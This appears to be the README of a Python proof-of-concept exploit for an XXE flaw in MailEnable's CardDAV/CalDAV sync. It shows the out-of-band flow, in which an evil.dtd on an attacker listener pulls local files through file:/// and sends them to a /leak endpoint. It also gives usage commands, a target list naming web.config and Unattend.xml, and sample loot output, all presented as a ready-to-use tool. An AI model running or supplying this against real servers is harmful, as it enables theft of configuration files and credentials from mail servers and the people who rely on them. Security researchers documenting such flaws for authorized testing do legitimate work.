
Python PoC exploiting CVE-2026-114552, an XXE in MailEnable CardDAV/CalDAV, to read arbitrary local files and exfiltrate them out-of-band to an attacker listener.
MailEnable's CardDAV/CalDAV implementation fails to disable external entity processing in its XML parser. When a MailEnable server synchronizes with an attacker-controlled CardDAV source, crafted XML triggers the server to read arbitrary local files and exfiltrate their contents out-of-band over HTTP.
PROPFIND against the
attacker's CardDAV endpoint.DOCTYPE referencing an
external DTD hosted on the same listener.file:/// and send the contents to the attacker's /leak endpoint.MailEnable Attacker
| |
|--- PROPFIND /{label} ------------>|
|<-- 207 XML (DOCTYPE -> evil.dtd) -|
|--- GET /evil.dtd?file={label} --->|
|<-- DTD (file:/// + OOB entity) ---|
|--- GET /leak?data={contents} ---->|
|<-- 200 OK ------------------------|
# Read a single file
python3 CVE-2026-114552.py --lhost 10.0.0.5 -f 'C:/Windows/win.ini'
# Read multiple files
python3 CVE-2026-114552.py --lhost 10.0.0.5 \
-f 'C:/Windows/win.ini' \
-f 'C:/inetpub/wwwroot/web.config'
# Read files from a list
python3 CVE-2026-114552.py --lhost 10.0.0.5 --files targets.txt
# Custom port and loot directory
python3 CVE-2026-114552.py --lhost 10.0.0.5 --lport 9090 --loot ./output
| Flag | Description | Default |
|---|---|---|
--lhost | Attacker listener IP (required) | -- |
--lport | Listener port | 8000 |
-f / --file | Target file path (repeatable) | C:/Windows/win.ini |
--files | Newline-delimited file of target paths | -- |
--loot | Directory for exfiltrated files | ./loot |
# targets.txt -- lines starting with # are ignored
C:/Windows/win.ini
C:/inetpub/wwwroot/web.config
C:/Windows/Panther/Unattend.xml
When multiple targets are specified, the exploit auto-rotates to the next file after each successful exfiltration.
Exfiltrated files are saved to the loot directory with sanitized filenames. Console output shows real-time progress:
[12:34:56] 10.0.162.31 PROPFIND / :: "PROPFIND / HTTP/1.1" 207 -
[*] PROPFIND -> targeting: C:/Windows/win.ini
[*] DTD -> file: C:/Windows/win.ini
============================================================
[+] LOOT: C:/Windows/win.ini (73 bytes)
Saved: ./loot/C__Windows_win.ini
Preview: ; for 16-bit app support\n[fonts]\n[extensions]\n...
============================================================
[*] Rotating to next target: C:/inetpub/wwwroot/web.config
<, >, &) may be truncated
or cause parse errors depending on the content.This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper written authorization before testing.
MIT